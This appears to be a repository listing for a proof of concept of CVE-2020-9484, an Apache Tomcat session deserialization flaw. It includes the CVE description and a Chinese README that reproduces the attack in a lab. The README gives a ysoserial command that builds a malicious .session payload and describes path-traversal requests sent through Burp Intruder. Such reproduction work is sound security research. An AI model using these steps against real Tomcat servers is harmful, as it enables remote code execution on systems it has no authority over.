CVE-2020-9484 PoC — Apache Tomcat 代码问题漏洞

Source

https://github.com/IdealDreamLast/CVE-2020-9484

Associated Vulnerability

Title:Apache Tomcat 代码问题漏洞 (CVE-2020-9484)
Description:When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.

Description

用Kali 2.0复现Apache Tomcat Session反序列化代码执行漏洞

Readme

# CVE-2020-9484
用Kali 2.0复现Apache Tomcat Session反序列化代码执行漏洞 CVE-2020-9484
## 环境：
1.	Kali 2.0
2.	apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp是s2-053，在其lib下加了commons-collections4-4.0.jar）
<br><br>
## 启动
/yourtomcatdir/bin/startup.sh
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/start.png)
<br><br>
## 生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session
<br><br>
## 利用

先访问S2-053看是否启动正常：
http://192.168.152.128:8080/s2-053/
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/s2-053.png)
<br>
重新访问抓包，用intruder进行路径遍历
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/intruder1.png)<br>
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/intruder2.png)

<br>

执行命令成功：
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/ok.png)

<br>
<br>
Reference ：  https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg

File Snapshot


 [4.0K]  /data/pocs/3d306bd3ef4a76d82da0f0fa2e4f4a40a299f3ed
├── [ 19M]  apache-tomcat-7.0.61-CVE-2020-9484.tar.gz
├── [4.0K]  img
│   ├── [ 55K]  intruder1.png
│   ├── [ 87K]  intruder2.png
│   ├── [9.1K]  ok.png
│   ├── [ 10K]  s2-053.png
│   └── [ 28K]  start.png
└── [1.1K]  README.md

1 directory, 7 files

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